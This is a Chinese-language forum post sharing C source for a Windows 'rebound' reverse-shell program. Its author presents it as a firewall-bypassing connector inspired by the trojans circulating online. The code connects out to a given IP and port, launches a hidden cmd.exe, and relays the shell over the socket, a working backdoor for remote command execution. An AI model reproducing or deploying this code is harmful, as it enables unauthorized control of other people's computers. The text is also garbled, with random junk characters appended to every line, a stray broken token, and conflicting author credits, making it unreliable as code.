这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?@g;[310`
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/* ============================== Eezlx9b
Rebound port in Windows NT $Z(g=nS>
By wind,2006/7 V{AH\IV-
===============================*/ r0hta)xa
#include Je4.9?Ch
#include b.%B;qB
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#pragma comment(lib,"wsock32.lib") .JD4gF2N
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void OutputShell(); VFO&)E/-
SOCKET sClient; _($-dJ{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yuy+}]uB@
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void main(int argc,char **argv) ]`/R("l[
{ 'WM~
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WSADATA stWsaData; 0Z1H6qn
int nRet; "M5ro$qZ}
SOCKADDR_IN stSaiClient,stSaiServer; nY"rqILX?
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if(argc != 3) ~Hyyq-
{ vhE}{ED
printf("Useage:\n\rRebound DestIP DestPort\n"); p0y0T|H^
return; M|Lw`?T
} upEPv
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WSAStartup(MAKEWORD(2,2),&stWsaData); WV!kA_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tsSS31cv
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stSaiClient.sin_family = AF_INET; UVoLHd
stSaiClient.sin_port = htons(0); kb}]sj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fl 'xmz^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W:+2We @
{ oX:1 qJrC
printf("Bind Socket Failed!\n"); _'v }=:X
return; u=v%7c2Mx}
}
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stSaiServer.sin_family = AF_INET; "6*Kgf2G
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yOn2}Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q$u\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0P%|)Ae
{ bh;b`
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printf("Connect Error!"); xn x1`|1u
return; ]\9B?W(#
} OL
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OutputShell(); )zL"r8si
} `9Q,=D+
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void OutputShell() 8a$jO+UvN
{ {GH`V}Ob
char szBuff[1024]; x}8T[
SECURITY_ATTRIBUTES stSecurityAttributes; sKG~<8M}
OSVERSIONINFO stOsversionInfo; i37a}.;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]stLC; nI
STARTUPINFO stStartupInfo; VqO<+~M,E
char *szShell; A*26'
PROCESS_INFORMATION stProcessInformation; +VpE-X=T
unsigned long lBytesRead; EBL,E:_)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _F/lY\vm
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); { d2f)ra.
stSecurityAttributes.lpSecurityDescriptor = 0; |>o0d~s
stSecurityAttributes.bInheritHandle = TRUE; 6L6~IXL>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hb AMoow!
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MCrO]N($b
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ao";5m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O]%m{afM
stStartupInfo.wShowWindow = SW_HIDE; a_iQlsU
stStartupInfo.hStdInput = hReadPipe; xP/1@6]_Je
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6_&6'Vq
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GetVersionEx(&stOsversionInfo); []N$;~R7
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switch(stOsversionInfo.dwPlatformId) RnBmy^l"
{ Nec(^|[
case 1: +D-+}&oW
szShell = "command.com"; a$ ! {Tob2
break; % x*Ec[l
default: 3ws(uF9$
szShell = "cmd.exe"; wyA(}iSq
break; ~G^}2#5
} 53+rpU_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gjN!_^_
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send(sClient,szMsg,77,0); U#]eN[
while(1) r5qx! >
{
IOSoc 7+"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $}nUK~$GSv
if(lBytesRead) 'St= izhd
{ y>cmKE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w3bH|VnU8;
send(sClient,szBuff,lBytesRead,0); 5NvyK[w]
} ${?ex nb$
else Dx# @D#
{ &'ETx"
lBytesRead=recv(sClient,szBuff,1024,0); QKaj4?p$|S
if(lBytesRead<=0) break; ut5!2t$c
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6ewOZ,"j"4
} a&c#* 9t{
} [11-`v0
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return; q{+poVX
}